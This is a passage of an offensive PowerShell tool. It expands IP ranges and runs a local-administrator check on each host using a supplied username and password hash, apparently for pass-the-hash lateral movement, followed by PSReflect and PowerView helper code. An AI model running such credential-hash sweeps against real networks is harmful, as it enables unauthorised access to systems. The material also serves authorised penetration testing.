Find-Fruit.ps1 - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Find-Fruit.ps1 $hostList = New-Object System.Collections.ArrayList $iHosts = $CIDR -split "," foreach ($iHost in $iHosts) { $iHost = $iHost.Replace(" ", "") if (!$iHost) { continue } if ($iHost.contains("/")) { $netPart = $iHost.split("/")[0] [uint32]$maskPart = $iHost.split("/")[1] $address = [System.Net.IPAddress]::Parse($netPart) if ($maskPart -ge $address.GetAddressBytes().Length * 8) { throw "Bad host mask" } $numhosts = [System.math]::Pow(2, (($address.GetAddressBytes().Length * 8) - $maskPart)) $startaddress = $address.GetAddressBytes() [array]::Reverse($startaddress) $startaddress = [System.BitConverter]::ToUInt32($startaddress, 0) [uint32]$startMask = ([System.math]::Pow(2, $maskPart) - 1) * ([System.Math]::Pow(2, (32 - $maskPart))) $startAddress = $startAddress -band $startMask #in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary $startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3] [array]::Reverse($startaddress) $address = [System.Net.IPAddress][byte[]]$startAddress $Null = $hostList.Add($address.IPAddressToString) for ($i = 0; $i -lt $numhosts - 1; $i++) { $nextAddress = $address.GetAddressBytes() [array]::Reverse($nextAddress) $nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0) $nextAddress++ $nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3] [array]::Reverse($nextAddress) $address = [System.Net.IPAddress][byte[]]$nextAddress $Null = $hostList.Add($address.IPAddressToString) } } else { $Null = $hostList.Add($iHost) } } $counttotal = $hostlist.count Write-Output ("[*] Found a total of " + $hostlist.count +" systems.") if($Threads) { Write-Verbose "Using threading with threads = $Threads" # if we're using threading, kick off the script block with Invoke-ThreadedFunction $ScriptParams = @{ #'Hostlist' = $Hostlist 'Username' = $Username 'PasswordHash' = $PasswordHash 'UserDomain' = $UserDomain 'Protocol' = $Protocol 'counttotal' = $counttotal } # kick off the threaded script block + arguments Invoke-ThreadedFunction -ScriptBlock $LocalAdminCheckBlock -ScriptParameters $ScriptParams -ComputerName $hostlist -Threads $Threads } else{ Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal } } elseif($targetsystem) { $hostlist = $targetsystem Write-Output "[*] Now Scanning" Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal } elseif($targetlist) { $hostlist = Get-Content -Path $targetlist if($Threads) { Write-Verbose "Using threading with threads = $Threads" # if we're using threading, kick off the script block with Invoke-ThreadedFunction $ScriptParams = @{ #'Hostlist' = $Hostlist 'Username' = $Username 'PasswordHash' = $PasswordHash 'UserDomain' = $UserDomain 'Protocol' = $Protocol 'counttotal' = $counttotal } # kick off the threaded script block + arguments Invoke-ThreadedFunction -ScriptBlock $LocalAdminCheckBlock -ScriptParameters $ScriptParams -ComputerName $hostlist -Threads $Threads } else{ Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal } } } ############################ Copied Code from PowerView Starts Here ######################### ########https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1### #########(Thanks @harmj0y, @mattifestation, and anyone else who has worked on PowerView!)##### #######PowerSploit BSD 3-Clause #PowerSploit is provided under the 3-clause BSD license below. # #************************************************************* # #Copyright (c) 2012, Matthew Graeber #All rights reserved. # #Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: # # Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. # Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. # The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. # #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ######################################################## # # PSReflect code for Windows API access # Author: @mattifestation # https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 # ######################################################## function New-InMemoryModule { <# .SYNOPSIS Creates an in-memory assembly and module Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION When defining custom enums, structs, and unmanaged functions, it is necessary to associate to an assembly module. This helper function creates an in-memory module that can be passed to the 'enum', 'struct', and Add-Win32Type functions. .PARAMETER ModuleName Specifies the desired name for the in-memory assembly and module. If ModuleName is not provided, it will default to a GUID. .EXAMPLE $Module = New-InMemoryModule -ModuleName Win32 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName = [Guid]::NewGuid().ToString() ) $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) $LoadedAssemblies = $AppDomain.GetAssemblies() foreach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } } $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) $Domain = $AppDomain $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) return $ModuleBuilder } # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. function func { Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $DllName, [Parameter(Position = 1, Mandatory = $True)] [string] $FunctionName, [Parameter(Position = 2, Mandatory = $True)] [Type] $ReturnType, [Parameter(Position = 3)] [Type[]] $ParameterTypes, [Parameter(Position = 4)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention, [Parameter(Position = 5)] [Runtime.InteropServices.CharSet] $Charset, [String] $EntryPoint, [Switch] $SetLastError ) $Properties = @{ DllName = $DllName FunctionName = $FunctionName ReturnType = $ReturnType } if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } if ($Charset) { $Properties['Charset'] = $Charset } if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } New-Object PSObject -Property $Properties } function Add-Win32Type { <# .SYNOPSIS Creates a .NET type for an unmanaged Win32 function. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: func .DESCRIPTION Add-Win32Type enables you to easily interact with unmanaged (i.e. Win32 unmanaged) functions in PowerShell. After providing Add-Win32Type with a function signature, a .NET type is created using reflection (i.e. csc.exe is never called like with Add-Type). The 'func' helper function can be used to reduce typing when defining multiple function definitions. .PARAMETER DllName The name of the DLL. .PARAMETER FunctionName The name of the target function. .PARAMETER EntryPoint The DLL export function name. This argument should be specified if the specified function name is different than the name of the exported function. .PARAMETER ReturnType The return type of the function. .PARAMETER ParameterTypes The function parameters. .PARAMETER NativeCallingConvention Specifies the native calling convention of the function. Defaults to stdcall. .PARAMETER Charset If you need to explicitly call an 'A' or 'W' Win32 function, you can specify the character set. .PARAMETER SetLastError Indicates whether the callee calls the SetLastError Win32 API function before returning from the attributed method. .PARAMETER Module The in-memory module that will host the functions. Use New-InMemoryModule to define an in-memory module. .PARAMETER Namespace An optional namespace to prepend to the type. Add-Win32Type defaults to a namespace consisting only of the name of the DLL. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $FunctionDefinitions = @( (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Kernel32 = $Types['kernel32'] $Ntdll = $Types['ntdll'] $Ntdll::RtlGetCurrentPeb() $ntdllbase = $Kernel32::GetModuleHandle('ntdll') $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') .NOTES Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 When defining multiple function prototypes, it is ideal to provide Add-Win32Type with an array of function signatures. That way, they are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] Param( [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $EntryPoint, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [ValidateNotNull()] [String] $Namespace = '' ) BEGIN { $TypeHash = @{} } PROCESS { if ($Module -is [Reflection.Assembly]) { if ($Namespace) { $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") } else { $TypeHash[$DllName] = $Module.GetType($DllName) } } else { # Define one type for each DLL if (!$TypeHash.ContainsKey($DllName)) { if ($Namespace) { $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') } else { $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') } } $Method = $TypeHash[$DllName].DefineMethod( $FunctionName, 'Public,Static,PinvokeImpl', $ReturnType, $ParameterTypes) # Make each ByRef parameter an Out parameter $i = 1 foreach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { [void] $Method.DefineParameter($i, 'Out', $null) } $i++ } $DllImport = [Runtime.InteropServices.DllImportAttribute] $SetLastErrorField = $DllImport.GetField('SetLastError') $CallingConventionField = $DllImport.GetField('CallingConvention') $CharsetField = $DllImport.GetField('CharSet') $EntryPointField = $DllImport.GetField('EntryPoint') if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } # Equivalent to C# version of [DllImport(DllName)] $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField, $EntryPointField), [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset), $ExportedFuncName)) $Method.SetCustomAttribute($DllImportAttribute) } } END { if ($Module -is [Reflection.Assembly]) { return $TypeHash } $ReturnTypes = @{} foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() $ReturnTypes[$Key] = $Type } return $ReturnTypes } } function psenum { <# .SYNOPSIS Creates an in-memory enumeration for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION The 'psenum' function facilitates the creation of enums entirely in memory using as close to a "C style" as PowerShell will allow. .PARAMETER Module The in-memory module that will host the enum. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the enum. .PARAMETER Type The type of each enum element. .PARAMETER EnumElements A hashtable of enum elements. .PARAMETER Bitfield Specifies that the enum should be treated as a bitfield. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ UNKNOWN = 0 NATIVE = 1 # Image doesn't require a subsystem. WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. OS2_CUI = 5 # Image runs in the OS/2 character subsystem. POSIX_CUI = 7 # Image runs in the Posix character subsystem. NATIVE_WINDOWS = 8 # Image is a native Win9x driver. WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. EFI_APPLICATION = 10 EFI_BOOT_SERVICE_DRIVER = 11 EFI_RUNTIME_DRIVER = 12 EFI_ROM = 13 XBOX = 14 WINDOWS_BOOT_APPLICATION = 16 } .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Enum. :P #> [OutputType([Type])] Param ( [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, [Switch] $Bitfield ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } $EnumType = $Type -as [Type] $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) if ($Bitfield) { $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } foreach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() } # A helper function used to reduce typing while defining struct # fields. function field { Param ( [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, [Parameter(Position = 2)] [UInt16] $Offset, [Object[]] $MarshalAs ) @{ Position = $Position Type = $Type -as [Type] Offset = $Offset MarshalAs = $MarshalAs } } function struct { <# .SYNOPSIS Creates an in-memory struct for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: field .DESCRIPTION The 'struct' function facilitates the creation of structs entirely in memory using as close to a "C style" as PowerShell will allow. Struct fields are specified using a hashtable where each field of the struct is comprosed of the order in which it should be defined, its .NET type, and optionally, its offset and special marshaling attributes. One of the features of 'struct' is that after your struct is defined, it will come with a built-in GetSize method as well as an explicit converter so that you can easily cast an IntPtr to the struct without relying upon calling SizeOf and/or PtrToStructure in the Marshal class. .PARAMETER Module The in-memory module that will host the struct. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the struct. .PARAMETER StructFields A hashtable of fields. Use the 'field' helper function to ease defining each field. .PARAMETER PackingSize Specifies the memory alignment of fields. .PARAMETER ExplicitLayout Indicates that an explicit offset for each field will be specified. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ DOS_SIGNATURE = 0x5A4D OS2_SIGNATURE = 0x454E OS2_SIGNATURE_LE = 0x454C VXD_SIGNATURE = 0x454C } $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ e_magic = field 0 $ImageDosSignature e_cblp = field 1 UInt16 e_cp = field 2 UInt16 e_crlc = field 3 UInt16 e_cparhdr = field 4 UInt16 e_minalloc = field 5 UInt16 e_maxalloc = field 6 UInt16 e_ss = field 7 UInt16 e_sp = field 8 UInt16 e_csum = field 9 UInt16 e_ip = field 10 UInt16 e_cs = field 11 UInt16 e_lfarlc = field 12 UInt16 e_ovno = field 13 UInt16 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) e_oemid = field 15 UInt16 e_oeminfo = field 16 UInt16 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) e_lfanew = field 18 Int32 } # Example of using an explicit layout in order to create a union. $TestUnion = struct $Mod TestUnion @{ field1 = field 0 UInt32 0 field2 = field 1 IntPtr 0 } -ExplicitLayout .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Struct. :P #> [OutputType([Type])] Param ( [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, [Reflection.Emit.PackingSize] $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, [Switch] $ExplicitLayout ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, Class, Public, Sealed, BeforeFieldInit' if ($ExplicitLayout) { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout } else { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout } $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $Fields = New-Object Hashtable[]($StructFields.Count) # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. foreach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } foreach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] $Offset = $FieldProp['Offset'] $Type = $FieldProp['Type'] $MarshalAs = $FieldProp['MarshalAs'] $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') if ($MarshalAs) { $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) if ($MarshalAs[1]) { $Size = $MarshalAs[1] $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $UnmanagedType, $SizeConst, @($Size)) } else { $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) } $NewField.SetCustomAttribute($AttribBuilder) } if ($ExplicitLayout) { $NewField.SetOffset($Offset) } } # Make the struct aware of its own size. # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! $SizeMethod = $StructBuilder.DefineMethod('GetSize', 'Public, Static', [Int], [Type[]] @()) $ILGenerator = $SizeMethod.GetILGenerator() # Thanks for the help, Jason Shirk! $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) # Allow for explicit casting from an IntPtr # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 'PrivateScope, Public, Static, HideBySig, SpecialName', $StructBuilder, [Type[]] @([IntPtr])) $ILGenerator2 = $ImplicitConverter.GetILGenerator() $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) $StructBuilder.CreateType() } ######################################################## # # Misc. helpers # ######################################################## Function New-DynamicParameter { <# .SYNOPSIS Helper function to simplify creating dynamic parameters. Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. Originally released under the Microsoft Public License (Ms-PL). .DESCRIPTION Helper function to simplify creating dynamic parameters. Example use cases: Include parameters only if your environment dictates it Include parameters depending on the value of a user-specified parameter Provide tab completion and intellisense for parameters, depending on the environment Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. Use New-DynamicParameter with 'CreateVariables' switch in your main code block, ('Process' for advanced functions) to create those variables. Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. This function has two operating modes: 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, with custom conditions and so on. .NOTES Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ Credit to BM for alias and type parameters and their handling .PARAMETER Name Name of the dynamic parameter .PARAMETER Type Type for the dynamic parameter. Default is string .PARAMETER Alias If specified, one or more aliases to assign to the dynamic parameter .PARAMETER Mandatory If specified, set the Mandatory attribute for this dynamic parameter .PARAMETER Position If specified, set the Position attribute for this dynamic parameter .PARAMETER HelpMessage If specified, set the HelpMessage for this dynamic parameter .PARAMETER DontShow If specified, set the DontShow for this dynamic parameter. This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ .PARAMETER ValueFromPipeline If specified, set the ValueFromPipeline attribute for this dynamic parameter .PARAMETER ValueFromPipelineByPropertyName If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter .PARAMETER ValueFromRemainingArguments If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter .PARAMETER ParameterSetName If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. .PARAMETER AllowNull If specified, set the AllowNull attribute of this dynamic parameter .PARAMETER AllowEmptyString If specified, set the AllowEmptyString attribute of this dynamic parameter .PARAMETER AllowEmptyCollection If specified, set the AllowEmptyCollection attribute of this dynamic parameter .PARAMETER ValidateNotNull If specified, set the ValidateNotNull attribute of this dynamic parameter .PARAMETER ValidateNotNullOrEmpty If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter .PARAMETER ValidateRange If specified, set the ValidateRange attribute of this dynamic parameter .PARAMETER ValidateLength If specified, set the ValidateLength attribute of this dynamic parameter .PARAMETER ValidatePattern If specified, set the ValidatePattern attribute of this dynamic parameter .PARAMETER ValidateScript If specified, set the ValidateScript attribute of this dynamic parameter .PARAMETER ValidateSet If specified, set the ValidateSet attribute of this dynamic parameter .PARAMETER Dictionary If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. Appropriate for custom dynamic parameters creation. If not specified, create and return a RuntimeDefinedParameterDictionary Appropriate for a simple dynamic parameter creation. #> [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] Param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [System.Type]$Type = [int], [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string[]]$Alias, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$Mandatory, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [int]$Position, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string]$HelpMessage, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$DontShow, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromPipeline, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromPipelineByPropertyName, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromRemainingArguments, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string]$ParameterSetName = '__AllParameterSets', [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowNull, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowEmptyString, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowEmptyCollection, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValidateNotNull, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValidateNotNullOrEmpty, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateCount, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateRange, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateLength, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string]$ValidatePattern, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [scriptblock]$ValidateScript, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string[]]$ValidateSet, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [ValidateScript({ if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) { Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' } $true })] $Dictionary = $false, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] [switch]$CreateVariables, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] [ValidateNotNullOrEmpty()] [ValidateScript({ # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, # so one can't use PowerShell's '-is' operator to validate type. if($_.GetType().Name -notmatch 'Dictionary') { Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' } $true })] $BoundParameters ) Begin { $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary function _temp { [CmdletBinding()] Param() } $CommonParameters = (Get-Command _temp).Parameters.Keys } Process { if($CreateVariables) { $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } ForEach($Parameter in $BoundKeys) { if ($Parameter) { Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force } } } else { $StaleKeys = @() $StaleKeys = $PSBoundParameters.GetEnumerator() | ForEach-Object { if($_.Value.PSobject.Methods.Name -match '^Equals$') { # If object has Equals, compare bound key and variable using it if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { $_.Key } } else { # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { $_.Key } } } if($StaleKeys) { $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} } # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | # Find parameters that are belong to the current parameter set Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | Select-Object -ExpandProperty Key | # Find unbound 